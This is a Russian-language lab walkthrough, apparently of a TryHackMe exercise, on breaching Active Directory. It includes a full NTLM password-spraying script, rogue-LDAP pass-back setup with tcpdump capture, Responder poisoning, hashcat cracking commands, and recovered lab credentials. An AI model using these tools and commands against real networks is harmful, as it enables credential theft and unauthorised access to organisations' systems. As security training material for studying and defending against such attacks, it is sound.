Breaching Active Directory, part 1

Всем привет!

Сегодня я начинаю делать цикл статей, в которых будут рассмотрены основные этапы атак на сети Active Directory. В статьях будет большое количество теории, а также рассмотрены примеры выполнения некоторых атак.

Начнем мы с первоначального доступа к Active Directory: попытки получения учетных данных.

Это первая часть стати Breaching Active Directory. В ней будут рассмотрены следующие основные темы: службы с проверкой подлинности NTLM, получение учетных данных службы, используемых для аутентификации пользователей по протоколу LDAP, а также Relay-атаки.

Вторая часть доступна по ссылке ниже:

Breaching Active Directory, part 2

Поскольку материала будет много, на разбор одного этапа может потребоваться более одной статьи. Так получилось и в этом случае :)

Приступим!

Введение

Рассматриваемая в рамках статей сеть выглядит следующим образом:

Примечание: схему добавлял на финальном этапе, поэтому все хосты на ней уже скомпрометированы.

Прежде чем мы сможем использовать мисконфигурации AD для повышения привилегий, горизонтального перемещения и достижения поставленных целей, нам сначала потребуется первоначальный доступ. Для этого необходимо получить начальный набор действительных учетных данных AD. Из-за большого количества служб и функций AD область атаки для получения начального набора учетных данных обычно значительна.

При поиске этого первого набора учетных данных не стоит сосредотачиваться на привилегиях учетной записи: даже учетной записи с низким уровнем привилегий будет достаточно. Мы просто ищем способ аутентифицироваться в AD, что позволит нам выполнять дальнейшее перечисление сети.

Цели

В этой статье мы рассмотрим несколько методов, которые можно использовать для взлома AD . Это далеко не полный список, так как каждый день исследователи обнаруживают новые методы и приемы. Однако мы рассмотрим следующие методы восстановления учетных данных AD в этой сети:

NTLM Authenticated Services;
LDAP Bind Credentials;
Authentication Relays;
Microsoft Deployment Toolkit;
Configuration Files.

Мы можем использовать эти методы для оценки безопасности либо при наличии подключенных к Интернету систем целевой организации, либо путем внедрения атакующего устройства в сеть организации.

OSINT и фишинг

Двумя популярными методами получения доступа к этому первому набору учетных данных AD являются Open Source Intelligence (OSINT) и фишинг.

OSINT

OSINT используется для обнаружения информации, которая размещена на публичных ресурсах. Что касается учетных данных AD , то это может произойти по нескольким причинам, например:

Пользователи, задающие вопросы на общедоступных форумах (типа Stack Overflow), могут раскрыть в вопросе конфиденциальную информацию, в том числе свои учетные данные.
Разработчики, ведя репозитории продуктов на Github, например, могут хардкодить логины и пароли.
Учетные данные раскрываются в других утечках, поскольку сотрудники использовали свои рабочие учетные записи для регистрации на других внешних веб-сайтах. Веб-сайты HaveIBeenPwned и DeHashed предоставляют отличные платформы для выявления того, была ли чья-либо информация, например рабочая электронная почта, когда-либо причастна к общеизвестной утечке данных.

Если нам повезет найти учетные данные, нам все равно нужно будет найти способ проверить, действительны они или нет, поскольку информация OSINT может быть устаревшей. Далее будет подробно описано о службах с проверкой подлинности NTLM, которые могут предоставить отличный способ проверить действительность учетных данных

Фишинг

Фишинг — еще один отличный способ проникновения в AD. Фишинг обычно побуждает пользователей либо предоставить свои учетные данные на вредоносной веб-странице, либо попросить их запустить определенное приложение, которое установит троян удаленного доступа (RAT) в фоновом режиме. Это распространенный метод, поскольку RAT будет выполняться в контексте пользователя, что сразу же позволит нарушителю выдать себя за легитимного пользователя.

NTLM Authenticated Services

NTLM and NetNTLM

New Technology LAN Manager (NTLM) — это набор протоколов безопасности, используемых для аутентификации пользователей в AD . NTLM можно использовать для проверки подлинности с помощью схемы на основе запроса и ответа (challenge-response-based), которая называется NetNTLM. Этот механизм аутентификации активно используется сетевыми службами. Однако службы, использующие NetNTLM, также могут быть доступны в Интернете. Вот некоторые из популярных примеров:

Серверы Exchange (Mail), предоставляющие портал входа в Outlook Web App (OWA).
Служба RDP на сервере, подключенном к Интернету.
Открытые конечные точки VPN, интегрированные с AD.
Веб-приложения, доступные из сети Интернету и использующие NetNTLM.

NetNTLM, также часто называемый Windows Authentication или просто NTLM Authentication, позволяет приложению играть роль посредника между клиентом и AD. Вся информация для проверки подлинности пересылаются контроллеру домена в виде запроса, и в случае успешного завершения приложение аутентифицирует пользователя. Это означает, что приложение аутентифицируется "от имени пользователя" на контроллере домена, а не аутентифицирует пользователя локально на сервере самого приложения. Это позволяет не хранить приложению учетные данные из AD, которые должны храниться только на контроллере домена. Процесс продемонстрирован на схеме ниже:

Как упоминалось ранее, доступные извне сервисы обеспечивают возможность проверки учетных данных, обнаруженных с помощью других средств. Однако эти же службы также можно использовать напрямую для получения первоначального набора действительных учетных данных. Это возможно в случае, если злоумышленнику известны собранные на этапе разведки действительные адреса электронной почты. В таком случае, можно прибегнуть к использованию атак методом грубой силы.

Поскольку в большинстве AD-сетей настроена блокировка учетной записи после нескольких безуспешных попыток входа, злоумышленник не может запустить полноценную атаку методом грубой силы. Вместо этого он может воспользоваться атакой с распылением пароля (password spraying attack). Вместо того, чтобы пробовать несколько разных паролей для одной учетной записи, что может привести к блокированию УЗ, злоумышленник выбирает и использует один пароль и пытается аутентифицироваться, используя его и все полученные ранее имена пользователей. Однако следует отметить, что эти типы атак могут быть обнаружены синей командой из-за количества неудачных попыток аутентификации.

Рассмотрим пример. У нас есть список имен пользователей, обнаруженных во время OSINT. Также удалось выяснить стандартный пароль организации («Changeme123»).

Пусть у нас есть веб-приложение, доступное извне, и использующее NTLM для авторизации пользователей:

Перейдя по URL-адресу, мы видим, что он запрашивает учетные данные для проверки подлинности Windows. На этом этапе мы могли бы использовать такие инструменты, как Hydra, чтобы осуществить атаку распыления пароля. Но иногда лучше создавать сценарии атак такого типа самостоятельно, что позволяет лучше контролировать процесс.

В ходе атаки будем использовать следующий скрипт, написанный на Python:

#!/usr/bin/python3

import requests
from requests_ntlm import HttpNtlmAuth
import sys, getopt

class NTLMSprayer:
  def __init__(self, fqdn):
    self.HTTP_AUTH_FAILED_CODE = 401
    self.HTTP_AUTH_SUCCEED_CODE = 200
    self.verbose = True
    self.fqdn = fqdn

  def load_users(self, userfile): #парсим файл с пользователями
    self.users = []
    lines = open(userfile, 'r').readlines()
    for line in lines:
      self.users.append(line.replace("\r", "").replace("\n", ""))

  def password_spray(self, password, url): #функция, осуществляющая запросы
    print ("[*] Starting passwords spray attack using the following password: " + password)
    count = 0
    for user in self.users:
      response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
      if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
        print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
        count += 1
        continue
      if (self.verbose):
        if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
          print ("[-] Failed login with Username: " + user)
    print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")

def main(argv):
  userfile = ''
  fqdn = ''
  password = ''
  attackurl = ''

  try:
    opts, args = getopt.getopt(argv, "hu:f:p:a:", ["userfile=", "fqdn=", "password=", "attackurl="])
  except getopt.GetoptError:
    print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
    sys.exit(2)

  for opt, arg in opts:
    if opt == '-h':
      print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
      sys.exit()
    elif opt in ("-u", "--userfile"):
      userfile = str(arg)
    elif opt in ("-f", "--fqdn"):
      fqdn = str(arg)
    elif opt in ("-p", "--password"):
      password = str(arg)
    elif opt in ("-a", "--attackurl"):
      attackurl = str(arg)

  if (len(userfile) > 0 and len(fqdn) > 0 and len(password) > 0 and len(attackurl) > 0):
    #Start attack
    sprayer = NTLMSprayer(fqdn)
    sprayer.load_users(userfile)
    sprayer.password_spray(password, attackurl)
    sys.exit()
  else:
    print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
    sys.exit(2)


if __name__ == "__main__":
  main(sys.argv[1:])

Функция password_spray является основным компонентом скрипта:

def password_spray(self, password, url):
    print ("[*] Starting passwords spray attack using the following password: " + password)
    #Reset valid credential counter
    count = 0
    #Iterate through all of the possible usernames
    for user in self.users:
        #Make a request to the website and attempt Windows Authentication
        response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
        #Read status code of response to determine if authentication was successful
        if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
            print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
            count += 1
            continue
        if (self.verbose):
            if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
                print ("[-] Failed login with Username: " + user)
    print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")

Эта функция принимает предложенный нами пароль и URL-адрес, на который мы ориентируемся, в качестве входных данных и пытается пройти аутентификацию по URL-адресу с каждым именем пользователя из текстового файла. Отслеживая различия в кодах ответов HTTP от приложения, мы можем определить, является ли пара учетных данных допустимой или нет. Если пара учетных данных действительна, приложение ответит кодом 200 HTTP (OK). Если пара недействительна, приложение вернет код 401 HTTP (неавторизованный).

Примечание: это зависит от конкретного приложения, коды ответов при успешной и неуспешной авторизации могут совпадать, в таком случае важен размер возвращенного ответа.

Мы можем запустить скрипт с помощью следующей команды (это видно из кода скрипта или при попытке вызвать его без аргументов):

./ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>

В данном случае можно не указывать python* для запуска, так как в начале скрипта есть шебанг. Поясню каждый из аргументов:

-u <userfile> — текстовый файл, содержащий наши имена пользователей;
-f <fqdn> — полное доменное имя, связанное с атакуемой организацией;
-p <password> — пароль, который мы хотим использовать для атаки;
-a <attackurl> — URL-адрес приложения, поддерживающего аутентификацию Windows.

Используя эти параметры, мы должны получить несколько действительных пар учетных данных от нашей password spraying атаки. Запустим скрипт:

./ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com/

Теперь у нас есть первые действительные пары учетных данных, которые можно использовать для дальнейшего перечисления AD:

hollie.powell:Changeme123

heather.smith:Changeme123

gordon.stevens:Changeme123

georgina.edwards:Changeme123

Авторизуемся в приложении:

Авторизация с обнаруженными учетными данными

Учетные данные действительно подошли)

LDAP Bind Credentials

LDAP

Другой метод проверки подлинности AD, который могут использовать приложения, — это проверка подлинности по протоколу LDAP. Проверка подлинности LDAP аналогична проверке подлинности NTLM. Однако при аутентификации LDAP приложение "самостоятельно" напрямую проверяет учетные данные пользователя. В данном случае у приложения есть своя пара учетных данных AD, которые оно может использовать для инициации LDAP-запроса. Затем, используя свои логин+пароль и логин+пароль, предоставленные пользователем, приложение осуществляет LDAP-запросы для проверки учетных данных пользователя в AD.

Аутентификация LDAP — это популярный механизм сторонних (не Microsoft) приложений, которые интегрируются с AD. К ним относятся такие приложения и системы, как:

Gitlab;
Jenkins;
Веб-приложения, разработанные на заказ;
Принтеры;
VPN.

Если какие-либо из этих приложений или служб опубликованы в сети Интернет, они могут быть подвержены тем же типам атак, что и против систем с проверкой подлинности NTLM. Однако, поскольку службе, использующей аутентификацию LDAP, требуется набор учетных данных AD, это открывает дополнительные возможности для атак. По сути, злоумышленник может попытаться получить учетные данные, используемые службой для авторизации в AD. Процесс аутентификации через LDAP показан ниже:

Процесс аутентификации с использованием протокола LDAP

В случае, если злоумышленнику удалось закрепиться на правильном хосте (например, сервер Gitlab), получить учетные данные становится крайне просто: необходимо найти и прочитать файлы конфигурации, чтобы чтобы их логин+пароль. Учетные данные часто хранятся в виде простого текста в файлах конфигурации, поскольку модель безопасности основана на сохранении безопасности хранилища, где расположен файл, а не безопасности самого содержимого конфига.

LDAP Pass-back Attacks

Однако против механизмов аутентификации LDAP может быть выполнена еще одна очень интересная атака, называемая атакой LDAP Pass-back. Это обычная атака на сетевые устройства, такие как принтеры, когда у злоумышленника есть первоначальный доступ к внутренней сети.

Атаки LDAP Pass-back могут быть осуществлены, когда у злоумышленника есть доступ к конфигурации устройства, где указаны параметры LDAP. Это может быть, например, веб-интерфейс сетевого принтера. Учетные данные для этих интерфейсов могут быть не сменены, и к ним подойдут логин+пароль по умолчанию, например admin:admin или admin:password. Здесь злоумышенник не сможет напрямую извлечь учетные данные LDAP, поскольку пароль обычно скрыт. Однако есть возможность изменить конфигурацию LDAP, например, IP-адрес или имя хоста сервера LDAP. В атаке LDAP Pass-back атакующий может изменить этот IP-адрес на IP-адрес его устройства, а затем протестировать конфигурацию, что заставит устройство попытаться выполнить аутентификацию LDAP на мошенническом устройстве. Так, злоумышленник может перехватить эту попытку аутентификации, чтобы восстановить учетные данные LDAP.

Рассмотрим пример. В сети есть сетевой принтер с веб-интерфейсом для администрирования. Этот интерфейс даже не требует учетных данных. Перейдём по адресу принтера, чтобы найти страницу его настроек:

Изучив исходный код, мы не видим пароль в открытом виде:

Таким образом, у нас есть имя пользователя, но нет пароля. Однако, когда мы нажимаем параметры проверки, мы видим, что на контроллер домена отправляется запрос проверки подлинности для проверки учетных данных LDAP. Используем это, чтобы заставить принтер подключиться к нам и раскрыть учетные данные. Для этого воспользуемся простым листенером Netcat, чтобы проверить, можем ли мы заставить принтер подключиться к нам. Поскольку порт LDAP по умолчанию — 389, мы можем использовать следующую команду:

nc -lnvp 389

Меняем адрес:

Жмём "Test Settings" и получаем соединение:

Ответ supportedCapabilities говорит нам, что мы столкнулись с проблемой. По сути, прежде чем принтер отправит учетные данные, он пытается согласовать детали метода аутентификации LDAP. Он будет использовать это согласование для выбора наиболее безопасного метода аутентификации, поддерживаемого как принтером, так и сервером LDAP. Если метод аутентификации безопасный, учетные данные не будут передаваться в открытом виде, а при некоторых методах аутентификации учетные данные вообще не будут передаваться по сети. Таким образом, мы не можем использовать обычный Netcat для сбора учетных данных. Нам нужно будет создать подставной сервер LDAP и настроить его "небезопасно", чтобы обеспечить отправку учетных данных в виде открытого текста.

Есть несколько способов размещения подставного сервера LDAP, в этом примере мы будем использовать OpenLDAP. Его можно установить с помощью следующей команды:

sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd

Также придется настроить этот LDAP-сервер LDAP. Мы начнем с перенастройки с помощью следующей команды:

sudo dpkg-reconfigure -p low slapd

Обязательно жмём <No> при запросе пропуска конфигурации!

В качестве доменного имени DNS нужно указать наш целевой домен (za.tryhackme.com):

Используем это же имя для названия организации:

Указываем любой пароль администратора и подтверждаем его:

Выбираем MDB в качестве базы данных LDAP:

Для последних двух шагов убеждаемся, что база данных не удаляется при очистке:

Переместим старые файлы базы данных перед созданием новой БД:

Прежде чем использовать подставной сервер LDAP, нам нужно сделать его уязвимым, понизив поддерживаемые механизмы аутентификации. Мы хотим убедиться, что наш сервер LDAP поддерживает только методы аутентификации PLAIN и LOGIN. Для этого нам нужно создать новый файл .ldif со следующим содержимым:

#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred

Файл имеет следующие свойства:

olcSaslSecProps: указывает свойства безопасности SASL.
noanonymous: отключает механизмы, поддерживающие анонимный вход.
minssf: указывает минимально допустимую степень безопасности, где 0 означает отсутствие защиты.

Теперь мы можем использовать файл ldif для изменения нашего сервера LDAP, используя следующую команду:

ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && service slapd restart

Мы можем убедиться, что конфигурация нашего сервера LDAP была применена с помощью следующей команды:

ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms

Теперь наш сервер LDAP настроен. Когда мы нажимаем «Test settings» на http://printer.za.tryhackme.com/settings.aspx, аутентификация будет происходить в виде открытого текста. Пробуем протестировать настройки и получаем ошибку:

И это хорошо! Если мы получили эту ошибку, то можем использовать tcpdump для захвата учетных данных с помощью следующей команды:

tcpdump -SX -i breachad tcp port 389

Начинаем тестирование и получаем трафик!

Изучаем дамп и находим интересующий нас пакет:

Теперь у нас есть еще одна пара логин+пароль в AD: svcLDAP:tryhackmeldappass1

Authentication Relays

Теперь рассмотрим атаки на наиболее используемые протоколы сетевой аутентификации. В сетях Windows существует значительное количество служб, взаимодействующих друг с другом, что позволяет пользователям использовать службы, предоставляемые сетью. Эти службы должны использовать встроенные методы аутентификации для проверки подлинности входящих подключений. В Ранее мы исследовали аутентификацию NTLM, используемую веб-приложением. Сейчас мы углубимся, чтобы посмотреть, как эта аутентификация выглядит с точки зрения сети, сосредоточившись на проверке подлинности NetNTLM, используемой SMB.

Server Message Block

Протокол Server Message Block (SMB) позволяет клиентам (например, рабочим станциям) взаимодействовать с сервером (например, с файловым хранилищем). В сетях, использующих Microsoft AD, SMB используется везде, от обмена файлами между сетями до удаленного администрирования. Даже предупреждение об отсутствии бумаги, которое получает компьютер при попытке распечатать документ, это результат работы протокола SMB.

Однако безопасность ранних версий протокола SMB признана недостаточной. Было обнаружено несколько уязвимостей, которые позволяли восстанавливать учетные данные или даже удаленно выполнять код на устройствах. Хотя некоторые из этих уязвимостей были устранены в последующих версиях протокола, часто организации не форсируют использование наиболее новых версий, так как устаревшие системы их не поддерживают. Мы рассмотрим два разных эксплойта для аутентификации NetNTLM с SMB:

Поскольку NTLM Challenges могут быть перехвачены, злоумышленник может использовать методы автономного взлома для восстановления пароля, связанного с NTLM Challenge. Однако этот процесс взлома значительно медленнее, чем прямой взлом хэшей NTLM.
Злоумышленник может использовать свою атакующую машину для проведения атаки «человек посередине» (MITM, Man In The Middle), ретранслируя аутентификацию SMB между клиентом и сервером, что обеспечит ему активный аутентифицированный сеанс и доступ к целевому серверу.

LLMNR, NBT-NS и WPAD

Для этой задачи мы рассмотрим аутентификацию, которая происходит при использовании SMB. Мы будем использовать Responder, чтобы попытаться перехватить вызов NetNTLM и взломать его. Обычно в сети летает много NTLM челленджей. Некоторые решения для обеспечения безопасности даже выполняют сканирование целых диапазонов IP-адресов для восстановления информации с хостов. Иногда из-за устаревающих DNS-записей эти челленджы аутентификации могут в конечном итоге прийти на атакующую машину вместо предполагаемого хоста.

Responder позволяет выполнять атаки «человек посередине», отравляя ответы во время аутентификации NetNTLM, обманывая клиента, заставляя его "разговаривать" с машиной злоумышленника, а не с фактическим сервером, к которому он хотел подключиться. В реальной локальной сети Responder попытается отравить любые обнаруженные запросы Link-Local Multicast Name Resolution (LLMNR), NetBIOS Name Service (NBT-NS) и Web Proxy Auto-Discovery (WPAD). В сетях Windows эти протоколы позволяют узлам выполнять собственное локальное разрешение DNS-имён для всех узлов в рамках одной локальной сети. Вместо перегрузки сетевых ресурсов, таких как DNS-серверы, узлы могут сначала попытаться определить, находится ли искомый узел в той же локальной сети, отправив запросы LLMNR и проверив, отвечают ли какие-либо узлы. NBT-NS является протоколом-предшественником LLMNR.

Поскольку эти протоколы основаны на запросах, передаваемых по локальной сети, наше мошенническое устройство также будет получать эти запросы. Обычно эти запросы просто отбрасываются, если они не предназначались для рассматриваемого хоста. Однако Responder будет активно прослушивать запросы и отправлять отравленные ответы, сообщая запрашивающему хосту, что наш IP-адрес связан с запрошенным именем хоста. Отравляя эти ответы, Responder пытается заставить клиента подключиться к машине злоумышленника. Аналогично он начинает хостить несколько серверов (SMB, HTTP, SQL и другие) для захвата соответствующих запросов и принудительной аутентификации клиентов.

Перехват вызова NetNTLM

Следует отметить, что Responder, по сути, пытается выиграть race condition, отравляя соединения, чтобы гарантировать перехват соединения. Это означает, что Responder обычно ограничивается отравлением вызовов аутентификации в локальной сети. Хотя Responder сможет перехватывать и отравлять большое количество запросов аутентификации, такое поведение может быть разрушительным и, таким образом, легко обнаруживаемым. Из-за отравления запросов аутентификации обычные попытки аутентификации в сети потерпят неудачу, а это означает, что пользователи и службы не будут подключаться к хостам и общим ресурсам, к которым они намереваются получить доступ.

Загрузить и установить Responder можно отсюда: https://github.com/lgandx/Responder.

Я настрою Responder для запуска на интерфейсе, подключенном к VPN:

responder -I tun0

Результат атаки будет выглядеть примерно так:

[+] Listening for events...
[SMBv2] NTLMv2-SSP Client   : <Client IP>
[SMBv2] NTLMv2-SSP Username : ZA\<Service Account Username>
[SMBv2] NTLMv2-SSP Hash     : <Service Account Username>::ZA:<NTLMv2-SSP Hash>

Примечание: в данном случае видно несколько ошибок при запуске Responder. Это связано с тем, что, как я говорил выше, Responder начинает хостить у себя несколько сервисов (SMB, LDAP, RDP, HTTP). Если порты, используемые этими сервисами, уже прослушиваются другими процессами, то возникают такие ошибки.

Как только у нас будет пара, мы можем начать взламывать ответы в автономном режиме в надежде восстановить связанные с ними пароли NTLM. Если для учетных записей настроены слабые пароли, у нас есть хорошие шансы успешно взломать их. Для этого надо скопировать NTLMv2-SSP Hash в текстовый файл, а затем использовать список паролей и Hashcat, чтобы попытаться взломать хеш, используя следующую команду:

hashcat -m 5600 <hash file> <password file> --force

Мы используем режим 5600, который соответствует NTLMv2-SSP для hashcat.

Результат работы Hashcat:

Relaying the Challenge

В некоторых случаях злоумышленник может просто передать (relay) вызов, а не просто перехватить его. Это немного сложнее сделать без предварительного знания учетных записей, поскольку эта атака зависит от разрешений используемой учетной записи. Чтобы атака сработала, должны быть выполнены следующие условия:

Подпись SMB должна быть либо отключена, либо включена, но не принудительно. Когда злоумышленник осуществляет ретрансляцию, он вносит небольшие изменения в запрос, чтобы передать его дальше. В случае, если подписание SMB включено, злоумышленник не сможет подделать подпись сообщения, а это означает, что сервер отклонит запрос.
У используемой учетной записи должны быть соответствующие разрешения на сервере для доступа к запрошенным ресурсам. В идеале злоумышленник заинтересован передать вызов и ответ учетной записи с административными привилегиями на сервере, поскольку это позволит закрепиться на хосте.
Поскольку у злоумышленника технически еще нет точки опоры (foothold) в AD, ему приходится догадываться, какие учетные записи будут иметь разрешения на какие хосты. Если бы злоумышленник уже закрепился в домене, то сначала необходимо выполнить начальное перечисление, что обычно и происходит на практике.

Вот почему слепые Relay-атаки обычно не популярны. В идеале сначала нужно получить первоначальный доступ к AD, используя другой метод, а затем выполнить перечисление, чтобы определить привилегии, связанные с скомпрометированной учетной записью. Отсюда уже можно осуществлять горизонтальное перемещение для повышения привилегий в домене. Тем не менее, все же полезно понять, как работает Relay-атака. Схематично она представлена на изображении ниже:

На этом первая часть разбора завершена. Вторая часть доступна по ссылке ниже:

Breaching Active Directory, part 2